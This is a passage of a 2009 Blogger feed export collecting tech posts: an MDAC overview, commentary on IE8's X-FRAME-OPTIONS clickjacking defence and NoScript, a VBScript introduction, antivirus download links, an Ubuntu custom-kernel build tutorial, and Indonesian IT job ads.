applications to access data from a variety of DBMSs. ODBC permits maximum interoperability — an application can access data in diverse DBMSs through a single interface. Furthermore, that application will be independent of any DBMS from which it accesses data. Users of the application can add software components called drivers, which create an interface between an application and a specific DBMS.&lt;br /&gt;Components of the MDAC SDK&lt;br /&gt;&lt;br /&gt;Microsoft ActiveX Data Objects (ADO)&lt;br /&gt;&lt;br /&gt;This section contains Programmer's References for ADO, ADOX, ADO MD, and RDS, as well as samples documentation.&lt;br /&gt;&lt;br /&gt;Microsoft OLE DB&lt;br /&gt;&lt;br /&gt;This section documents the OLE DB and OLE DB for OLAP interfaces, including a Programmer's Reference, documentation for various OLE DB providers, and samples.&lt;br /&gt;Microsoft Open Database Connectivity (ODBC)&lt;br /&gt;This section documents the ODBC interface, including a Programmer's Reference, documentation for various ODBC drivers, and samples.&lt;br /&gt;&lt;br /&gt;source &lt;a href="http://gadgetinformationblog.blogspot.com/2009/11/microsoft-data-access-components.html" target="_blank"&gt;gadgetinformationblog.blogspot.com&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-8909160688408163570?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/8909160688408163570/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=8909160688408163570' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/8909160688408163570'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/8909160688408163570'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2009/11/tutorial-microsoft-data-access.html' title='Tutorial Microsoft Data Access Components'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-3193964316484181631</id><published>2009-11-14T07:23:00.000-08:00</published><updated>2009-11-14T07:26:16.992-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>Internet Explorer 8 Clickjacking Protection Exposed</title><content type='html'>Yesterday I published a blind analysis of the so called “Clickjacking protection” included in IE8 RC1. “Blind” because, hype aside, there was no technical documentation available, even if the feature was targeted to web developers who — in order to protect their users — should modify the way their pages are served.&lt;br /&gt;&lt;br /&gt;After a while, Microsoft’s David Ross sent me an email confirming that my wild guesses about IE8’s approach, its scope and its limitations were indeed correct. The only information obviously missing from my “prophetic” description was the real name of the “X-I-Do-Not-Want-To-Be-Framed-Across-Domains” HTTP header to be sent before the sensible pages, and today this little mystery has been finally unveiled by Eric Lawrence on the IE Blog:&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Web developers can send a HTTP response header named X-FRAME-OPTIONS with HTML pages to restrict how the page may be framed. If the X-FRAME-OPTIONS value contains the token DENY, IE8 will prevent the page from rendering if it will be contained within a frame. If the value contains the token SAMEORIGIN, IE will block rendering only if the origin of the top level-browsing-context is different than the origin of the content containing the X-FRAME-OPTIONS directive. For instance, if http://shop.example.com/confirm.asp contains a DENY directive, that page will not render in a subframe, no matter where the parent frame is located. In contrast, if the X-FRAME-OPTIONS directive contains the SAMEORIGIN token, the page may be framed by any page from the exact http://shop.example.com origin.&lt;br /&gt;&lt;br /&gt;As I had anticipated, IE8’s “clickjacking protection” is just an alternate scriptless way to perform frame busting, a well known and simple technique to prevent a page from being “framed” in another page and therefore becoming an easy UI Redressing target. Microsoft had to follow its own special path because the traditional JavaScript implementation can be easily circumvented on IE, e.g. by loading the targeted page inside an IFRAME SECURITY=restricted element. But the other major browsers are equally “protected” (if we can call “browser protection” something relying on the good will and education of web authors) by “standard” frame busting. Therefore, slogans like “the first browser to counter this type of threat” (James Pratt, Microsoft senior product manager) were marketspeak at its best. Furthermore, this approach is useless against Clickjacking in its original “historical” meaning, i.e. those attacks involving Flash applets and other kinds of plugin embeddings which led Robert “RSnake” Hansen and Jeremiah Grossman to invent the successful buzzword.&lt;br /&gt;&lt;br /&gt;However in my post I had also written that having such a scriptless alternative as a cross-browser option would be nice:&lt;br /&gt;&lt;br /&gt;I do believe that a declarative approach to control subdocument requests is an excellent idea: otherwise I wouldn’t have included the SUB pseudo-method in ABE Rules Specification (pdf). Moreover, as soon as I’ve got some less blurry info (David Ross, I know you’re listening, why don’t you drop me a line?), I’ll be happy to immediately implement a compatible feature in NoScript and lobby Mozilla for inclusion in Firefox 3.1.&lt;br /&gt;&lt;br /&gt;David kindly answered&lt;br /&gt;&lt;br /&gt;I think this would be fantastic and it’s a great place to start building some bridges.&lt;br /&gt;&lt;br /&gt;I agree, in facts I’ve filed an enhancement request for Firefox, and I’m already working to release a NoScript development build featuring X-FRAME-OPTIONS support: that’s relatively easy, since I can hook in the work I’m already doing for the ABE module. (Update 2009-29-01: I just released NoScript 1.8.9.9 development build, featuring full experimental X-FRAME-OPTIONS compatibility support).&lt;br /&gt;It’s worth noticing, though, that this is just a cross-browser compatibility effort: neither Firefox nor NoScript really need this feature. Traditional JavaScript-based frame busting works fine in Firefox, giving it the same degree of (modest) “protection” as IE8. NoScript users, on the other hand, are already fully protected, because ClearClick is the one and only countermeasure which works against any type of Clickjacking (frame or embed based), no matter if web sites cooperate or not.&lt;br /&gt;&lt;br /&gt;Speaking of NoScript, I’ve got a small but important correction to the otherwise excellent article Robert McMillan wrote for PC World (IDG News) yesterday:&lt;br /&gt;&lt;br /&gt;Because clickjacking requires scripting, the attack doesn’t work when NoScript is enabled.&lt;br /&gt;&lt;br /&gt;This statement is wrong twice:&lt;br /&gt;&lt;br /&gt;1. Clickjacking does not require scripting: JavaScript might make the attacker’s life easier, but it’s not indispensable to throw an attack.&lt;br /&gt;2. NoScript does not need scripting to be disabled in order to protect its users against Clickjacking: its exclusive ClearClick anti-Clickjacking technology works independently from script blocking.&lt;br /&gt;&lt;br /&gt;That’s why NoScript can be recommended to anyone, even to grandma who’s not inclined to block JavaScript: albeit I do not encourage using NoScript’s “Allow Scripts Globally” command because the default deny policy is your best first-line defense, many additional protection features such as Anti-XSS filters and ClearClick still remain active even when JavaScript is enabled, providing the safest web experience available in any browser.&lt;br /&gt;&lt;br /&gt;source &lt;a href="http://source-x.blogspot.com/2009/11/ie8-clickjacking-protection-exposed.html" target="_blank"&gt;x.blogpspot.com&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-3193964316484181631?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/3193964316484181631/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=3193964316484181631' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/3193964316484181631'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/3193964316484181631'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2009/11/internet-explorer-8-clickjacking.html' title='Internet Explorer 8 Clickjacking Protection Exposed'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-8407048421235619979</id><published>2009-11-03T05:30:00.000-08:00</published><updated>2009-11-03T05:35:02.233-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='VB / .Net'/><title type='text'>What is VBScript</title><content type='html'>Microsoft &lt;a href="http://sources-code-hemlet.blogspot.com/search/label/VB%20%2F%20.%20Net"&gt;Visual Basic&lt;/a&gt; Scripting Edition brings active scripting to a wide variety of environments, including Web client scripting in Microsoft Internet Explorer and Web server scripting in Microsoft Internet Information Service.&lt;br /&gt;Easy to Use and Learn&lt;br /&gt;If you already know &lt;a href="http://sources-code-hemlet.blogspot.com/search/label/VB%20%2F%20.%20Net"&gt;Visual Basic&lt;/a&gt; or &lt;a href="http://sources-code-hemlet.blogspot.com/search/label/VB%20%2F%20.%20Net"&gt;Visual Basic&lt;/a&gt; for Applications (VBA), VBScript will be very familiar. Even if you do not know Visual Basic, once you learn VBScript, you are on your way to programming with the whole family of Visual Basic languages. Although you can learn about VBScript in just these few Web pages, they do not teach you how to program. To learn programming, take a look at Step by Step books available from Microsoft Press.&lt;br /&gt;&lt;br /&gt;Windows Script&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;VBScript talks to host applications using Windows Script. With Windows Script, browsers and other host applications do not require special integration code for each scripting component. Windows Script enables a host to compile scripts, obtain and call entry points, and manage the namespace available to the developer. With Windows Script, language vendors can create standard language run times for scripting. Microsoft will provide run-time support for VBScript. Microsoft is working with various Internet groups to define the Windows Script standard so that scripting engines can be interchangeable. Windows Script is used in Microsoft® Internet Explorer and in Microsoft® Internet Information Service.&lt;br /&gt;VBScript in Other Applications and Browsers&lt;br /&gt;As a developer, you can license VBScript source implementation at no charge for use in your products. Microsoft provides binary implementations of VBScript for the 32-bit Windows® API, the 16-bit Windows API, and the Macintosh®. VBScript is integrated with World Wide Web browsers. VBScript and Windows Script can also be used as a general scripting language in other applications.&lt;br /&gt;&lt;br /&gt;reference &lt;a href="http://sources-code-hemlet.blogspot.com/2009/07/what-is-vbscript.html"&gt;sources-code-hemlet.blogspot.com &lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-8407048421235619979?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/8407048421235619979/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=8407048421235619979' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/8407048421235619979'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/8407048421235619979'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2009/11/what-is-vbscript.html' title='What is VBScript'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-2193769161138171054</id><published>2009-11-03T05:22:00.000-08:00</published><updated>2009-11-03T05:30:07.558-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Download'/><category scheme='http://www.blogger.com/atom/ns#' term='Antivirus'/><title type='text'>PCMAV 2.1 Fixed Antivirus</title><content type='html'>We download &lt;a href="http://soft-download-info.blogspot.com/search/label/PCMAV" target="_blank"&gt;PCMAV&lt;/a&gt; 2.1 Fixed &lt;a href="http://soft-download-info.blogspot.com/search/label/AntiVirus" target="_blank"&gt;Antivirus&lt;/a&gt;, &lt;a href="http://www.ziddu.com/download/6618757/PCMAV_2.1_Fixed.zip.html" target="_blank"&gt;click here&lt;/a&gt; and for ExpressInduc Antivirus we download &lt;a href="http://www.ziddu.com/download/6618651/ExpressInduc.zip.html" target="_blank"&gt;here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;source &lt;a href="http://soft-download-info.blogspot.com" target="_blank"&gt;download info&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-2193769161138171054?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/2193769161138171054/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=2193769161138171054' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/2193769161138171054'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/2193769161138171054'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2009/11/pcmav-21-fixed-antivirus.html' title='PCMAV 2.1 Fixed Antivirus'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-8251008098609017668</id><published>2009-09-30T09:31:00.000-07:00</published><updated>2009-09-30T09:32:41.375-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Build Kernels the Ubuntu Way</title><content type='html'>Special tools take the pain out of compiling and installing custom kernels. &lt;br /&gt;Debian boasts some very useful tools to make the job of building and installing kernels much easier, and of course those same tools are available in Ubuntu as well. They streamline the process of compiling a custom kernel and building a .deb package around it, allowing you to install a new kernel the same way you would any other package. This makes it possible to build a kernel on one machine and then just install the package on other machines, without having to recompile or track down all the loose endsgreat if you need to upgrade a number of similar machines!&lt;br /&gt;To build a custom kernel "the Ubuntu way," you will need to get hold of the kernel source and a variety of tools to configure, compile, and package it.&lt;br /&gt;Get the Source&lt;br /&gt;You can get the official kernel source yourself directly from http://ftp.kernel.org/pub/linux/kernel/, or a mirror if you like, but of course there are also packages of the kernel source. A quick:&lt;br /&gt;$ apt-cache search linux-source&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;will get you a list of Linux kernel source packages all ready to go. Picking one as an example, you could just run:&lt;br /&gt;$ sudo apt-get install linux-source-2.6.15&lt;br /&gt;            &lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;to download the source to your system. You'll then end up with an archive sitting in /usr/src, which is where most kernel work is done. Now you can extract the source package:&lt;br /&gt;$ cd /usr/src&lt;br /&gt;$ sudo tar -xjf linux-source-2.6.15.tar.bz2&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;That will leave you with a /usr/src/linux-source-2.6.15 directory, decompressed and ready to configure. First, though, create a symlink to it called linux, like this:&lt;br /&gt;$ sudo ln -sf linux-source-2.6.15 linux&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;The f option forces creation of the new symlink even if there's already an existing link to an old kernel source. Now you can easily get to your kernel source tree just by typing:&lt;br /&gt;$ cd /usr/src/linux&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Tools You Will Need&lt;br /&gt;To install the main tools, you will need to run:&lt;br /&gt;$ sudo apt-get install kernel-package libncurses5-dev&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;This will also cause your computer to pull down a big list of supporting packages that are dependencies.&lt;br /&gt;Configuration Methods&lt;br /&gt;There are a number of ways to configure a kernel prior to compiling it, and all but the first are invoked as arguments to the make command. Make sure you have a shell open in the kernel source directory (which should be /usr/src/linux if you followed our directions earlier) before you try any of these. In increasing order of sophistication, they are:&lt;br /&gt;&lt;br /&gt;editing .config&lt;br /&gt;The actual configuration is saved in the source directory as a text file called .config. If you really want to (or if you are trying to find an option some README has listed by name, such as CONFIG_PACKET) you can edit this file directly using a text editor such as vim or Anjuta. This should need to be done very rarely, though.&lt;br /&gt;&lt;br /&gt;make config &lt;br /&gt;The most basic approach, this will just ask you a whole heap of questions, one after another. Personally, we hate configuring the kernel this way, because it's sequential and you have to go through a heap of stuff you probably couldn't care less about. Only bother with this as a last resort, such as if other options aren't available to you for some reason.&lt;br /&gt;&lt;br /&gt;make menuconfig &lt;br /&gt;This is the most common way to do the configuration. It displays a nice, keyboard-driven menu that you can navigate using arrows, Enter, and the spacebar. However, one catch that can trip you up is that you need to have the development libraries for Ncurses installed, not just Ncurses itself. That's why we had you install the libncurses5-dev package a few paragraphs ago!&lt;br /&gt;&lt;br /&gt;make xconfig &lt;br /&gt;The preferred method for machines with X, this option is very similar to menuconfig, except it's all done in a nice point-and-click GUI with mouse navigation. The possible gotcha to getting this working is you'll need tk8.3. If you get errors saying it can't find "wish," run:&lt;br /&gt;$ sudo apt-get install tk8.3&lt;br /&gt;                     &lt;br /&gt;&lt;br /&gt;and all should be well.&lt;br /&gt;Configuring the Kernel&lt;br /&gt;Whichever configuration method you choose, the next thing to do is to examine the settings for the different kernel options and make changes as required.&lt;br /&gt;There are a huge number of kernel options, so to help you find things, they are grouped in a logical way in different major and minor sections. The different configuration methods have their own ways to represent this, but they should all be fairly straightforward to follow.&lt;br /&gt;We won't go into details of how to do the kernel configuration here, because what you'll need to configure will vary dramatically, and there are plenty of tutorials on the Net, including the Kernel-HowTo, that explain this in detail. Basically, though, you need to work through each menu in turn to find options and modules you want to enable, and set them to either off (not available), on (compiled straight into the kernel), or module (compiled separately so it can be loaded when needed).&lt;br /&gt;Once you've finished going through the options, quit and save to have your choices written out to a configuration file to be used by the compiler.&lt;br /&gt;One little trick to note is that the actual configuration details are stored in a file called .config in the kernel source directory. Once you've gone to all the trouble of setting up a kernel the way you want it, moving to a new kernel can be painful if you have to go through the configuration process from scratch, and you'd be almost certain to miss something crucialwe know we usually do! To make things easier for yourself, you can copy the .config file into the new kernel source directory to have all your options carried over automatically. Then you can run the configuration again just to check things over, save, and go on as before. Provided you're not changing to a totally new kernel type, this trick can save you a lot of time. Beware if you're moving to a totally different kernel, though, such as from 2.4.x to 2.6.x, because many of the options will be totally different and while the old config will still work, it may not have some options activated that appear only in the new kernel. You can also run make oldconfig after copying in the old .config file, which will then prompt you only for options that are new or have changed since you configured your previous kernel.&lt;br /&gt;Compiling and Packaging&lt;br /&gt;This is the point when your kernel is actually compiled and placed in a package. Normally, that would be a lot of work, but thanks to the tools provided by kernel-package, it's now one of the easiest steps.&lt;br /&gt;If you have read a traditional Kernel HOWTO, you've probably seen a sequence of commands such as make dep &amp;&amp; make clean &amp;&amp; make bzImage used to build the dependencies and then the kernel itself. You don't need to do any of that; instead, just type:&lt;br /&gt;$ sudo make-kpkg kernel-image&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;while in the /usr/src/linux directory, and those steps will all be taken care of. The kernel-packaging tools first compile your kernel and modules according to the configuration you just generated and then build a Debian package called kernel-image-&lt;version_architecture&gt;.deb outside the current source directoryi.e., in /usr/src.&lt;br /&gt;This stage can take a while depending on your machine speed and which modules you selected. Expect anything from 10 minutes to a half hour, during which time you'll see a very long stream of debugging information that probably won't be of any interest to you at all, unless something goes seriously wrong.&lt;br /&gt;Install Your Kernel Package&lt;br /&gt;You're almost there! What you have now is a kernel, custom-compiled according to your requirements and set up as a Debian package ready to install.&lt;br /&gt;Installing your new kernel is now just a matter of using dpkg to install the package as you would any other Debian package:&lt;br /&gt;$ sudo dpkg -i &lt;br /&gt;               &lt;br /&gt;                  kernel-image-2.6.15_10.00.Custom_i386.deb&lt;br /&gt;               &lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;(replacing kernel-image-2.6.15_10.00.Custom_i386.deb with whatever your package is called). It may ask you if you want to create a boot floppy using that image; the dozens of machines we manage don't have a single floppy drive among them, so we always say no, but if you want to, you can say yes to have it create one for you.&lt;br /&gt;dpkg will also take care of updating your bootloader configuration so your new kernel will be available next time you boot. Both GRUB and LILO are managed automatically, but if you use a different bootloader, you may need to update it yourself at this point.&lt;br /&gt;What happens when you install the package is that dpkg puts your new kernel image in the /boot directory where kernels are normally stored, creates a symlink from /vmlinuz to your new kernel (you can verify this by typing ls -l /vmlinuz), modifies your /boot/grub/menu.lst or /etc/lilo.conf as appropriate so your bootloader can find your new kernel, and moves and renames the previous kernel so it's available as an emergency fallback in case your new kernel borks.&lt;br /&gt;Note that at this point, you will not actually be running the new kernel; it's just set up, ready to go for next time you reboot. Installing a new kernel is one of the very few things that actually requires you to reboot a Linux system.&lt;br /&gt;Rebooting and Testing&lt;br /&gt;Time for the big test! If you are running X, exit the session and reboot. If not, just type sudo reboot. When GRUB loads, you will have the option of pressing Esc to see a list of available kernels, including your new one. Select it and hit Enter.&lt;br /&gt;Once your machine has booted, you can use uname to check which kernel you are running:&lt;br /&gt;$ uname -a&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;For more information about which modules were loaded and whether the new kernel correctly detected your hardware, you can look through the dmesg log:&lt;br /&gt;$ dmesg | less&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;If everything worked as expected, congratulations! You've just compiled and installed a custom kernel "the [Debian|Ubuntu] way."&lt;br /&gt;Installing on Other Machines&lt;br /&gt;This is where the convenience of building kernels as packages becomes most obvious. If you want to install your custom kernel on other machines, the process is very simple: just copy the .deb package you created to the target machine and install it using dpkg exactly as before. Simple!&lt;br /&gt;There's no need to compile the kernel on each machine, copy the source code to them, or even have a compiler installed on them. All the hard work was done once on one machine and doesn't need to be repeated.&lt;br /&gt;If you run a server farm or computer lab and have a lot of local machines to install your kernel on, the best way to do so is probably to put the kernel package on a local package repository and have all your computers fetch it over the network. &lt;br /&gt;Install Multiple Copies of One Kernel Version&lt;br /&gt;Often you'll want to install multiple copies of the same kernel version while doing testing, but that can cause problems: modules are installed in a directory based on the kernel version number, so if you want to try out different configuration options, you'll run into problems. Luckily, the kernel package tools allow you to work around that limitation by appending an arbitrary version string to the regular version string. This means you can install multiple builds of the same kernel version and keep everything neatly organized on disk, as well as select which one you want to use at startup.&lt;br /&gt;To modify the version string, just pass the --append-to-version option when creating the package, like so:&lt;br /&gt;$ fakeroot make-kpkg --append_to_version=-jon17 &lt;br /&gt;               &lt;br /&gt;                  kernel-package&lt;br /&gt;               &lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;This would generate a kernel package something like kernel-image-2.6.15-jon17_10.00.Custom_i386.deb. &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-8251008098609017668?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/8251008098609017668/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=8251008098609017668' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/8251008098609017668'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/8251008098609017668'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2009/09/build-kernels-ubuntu-way.html' title='Build Kernels the Ubuntu Way'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-1881488189955548010</id><published>2009-09-30T09:27:00.000-07:00</published><updated>2009-09-30T09:31:25.742-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Vacancy'/><title type='text'>Web Designer &amp; Support Vacancy</title><content type='html'>Raffles Education Corporation Ltd is one of the leading creative design and management education groups in Asia Pacific. Public listed (RLSE) at Singapore Exchange. We are expanding and seek team players with passion and drive to be a part of this exciting team. We would like to invite you to join us for a challenging career and opportunities for personal development for Position in Indonesia.&lt;br /&gt;Requirement :&lt;br /&gt;&lt;br /&gt;    * Min.Diploma in Computing Science/IT or related&lt;br /&gt;    * Minimum 1 year of relevant working experience, but Fresh Graduate is encourage to apply&lt;br /&gt;    * Fluent in verbal &amp; written communication in English is a must. Mandarin language is a plus.&lt;br /&gt;    * Have good knowledge for web design and graphic design, is preferable.&lt;br /&gt;    * Have good knowledge and experience with troubleshoot Hardware software and networking(TCP/IP,DNS)&lt;br /&gt;    * Good working knowledge of the following operating systems: - Windows and Mac OS operating System&lt;br /&gt;          o Have good knowledge with windows server 2003 (active Directory, DNS,DHCP)&lt;br /&gt;          o Familiar and experience using Photoshop, Indesign, Illustrator&lt;br /&gt;          o Experience using web tools like dreamweaver, Flash, CSS, Video visual,Javascript&lt;br /&gt;          o Experience with HTML programming, Java, PHP,SQL&lt;br /&gt;          o Hands on knowledge of the procedures used in the installation, modification maintenance and repair of IT hardware and software &lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;    * Strong analytical, problem-solving, and conceptual skills&lt;br /&gt;    * Good communication, interpersonal skills and team player&lt;br /&gt;    * Possess positive personally, working attitude, customer-focused and CAN DO attitude.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Interested candidates who enjoy working in a fast-paced, dynamic environment are invited to send in a detailed resume, stating current and expected salaries and a recent photograph&lt;br /&gt;&lt;br /&gt;(via email attached Word or PDF documents with size not more than  300Kb)&lt;br /&gt;&lt;br /&gt;to :&lt;br /&gt;&lt;br /&gt;&lt;a href="mailto:hr-indonesia@raffles-design-institute.com"&gt;hr-indonesia@raffles-design-institute.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;or&lt;br /&gt;&lt;br /&gt;&lt;a href="mailto:srisuparno@raffles-design-institute.com"&gt;srisuparno@raffles-design-institute.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;(We regret that only short listed candidates will be notified)&lt;br /&gt;&lt;br /&gt;Please put your position in the subject email&lt;br /&gt;&lt;br /&gt;source &lt;a href="http://jobsdb.com" target="_blank"&gt;jobsdb.com&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-1881488189955548010?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/1881488189955548010/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=1881488189955548010' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/1881488189955548010'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/1881488189955548010'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2009/09/web-designer-support-vacancy.html' title='Web Designer &amp; Support Vacancy'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-5101229711858335514</id><published>2009-09-30T09:23:00.000-07:00</published><updated>2009-09-30T09:26:57.955-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Vacancy'/><title type='text'>Oracle SCM Vacancy</title><content type='html'>Jatis Group is one of the leading IT Solution and Multimedia group of companies with operation in Indonesia, Singapore and Malaysia.  Our core businesses are in providing Enterprise Application and Mobile Media Services under the brand name of Jatis Solutions, Jatis Mobile and Firium.&lt;br /&gt;&lt;br /&gt;We are currently expanding our businesses in Mutual Fund, Data Warehouse, Mobile CRM, Payment Initiative, BREW platform, Mobile Loyalty Program and many more.&lt;br /&gt;&lt;br /&gt;We are looking for smart, energetic and talented people to fill the following position:&lt;br /&gt;Oracle SCM &lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;URGENTLY NEEDED&lt;br /&gt;SCM/ Manufacturing Functional Consultant (code: SCM)&lt;br /&gt;Role Description:&lt;br /&gt;&lt;br /&gt;1.       Implementing Oracle E-Business Suite, including but not limited to Manufacturing &amp; Supply Chain modules. The implementation will follow the Jatis Project Methodology in configuring client’s business process, providing solutions, testing, assisting users and documentation during implementation.&lt;br /&gt;&lt;br /&gt;2.       Supporting business development including in pre-sales activities.&lt;br /&gt;&lt;br /&gt;3.       Constantly and actively deepen business process knowledge in the area of Supply Chain Management in Retail, Distribution, Manufacturing and Telecommunication area.&lt;br /&gt;&lt;br /&gt;Requirements:&lt;br /&gt;&lt;br /&gt;·         Having experience in implementing Oracle E-Business Suite, particularly in manufacturing in full-cycle.&lt;br /&gt;&lt;br /&gt;·         Graduated from Accounting or Industrial engineering or Information Systems.&lt;br /&gt;&lt;br /&gt;·         Having knowledge or certification in Oracle E-Business Suite, particularly in Manufacturing (Discrete/Process) and/or Supply Chain Modules is highly preferred.&lt;br /&gt;&lt;br /&gt;·         Having knowledge in Software Design and Database is preferred.&lt;br /&gt;&lt;br /&gt;·         Having business process knowledge in various industries is preferred.&lt;br /&gt;&lt;br /&gt;·         Excellent interpersonal and presentation skill.&lt;br /&gt;&lt;br /&gt;·         Strong analytical thinking and able to work as a team.&lt;br /&gt;&lt;br /&gt;·         Fast and passionate learner.&lt;br /&gt;&lt;br /&gt;·         Willing to work in Retail, Manufacturing or 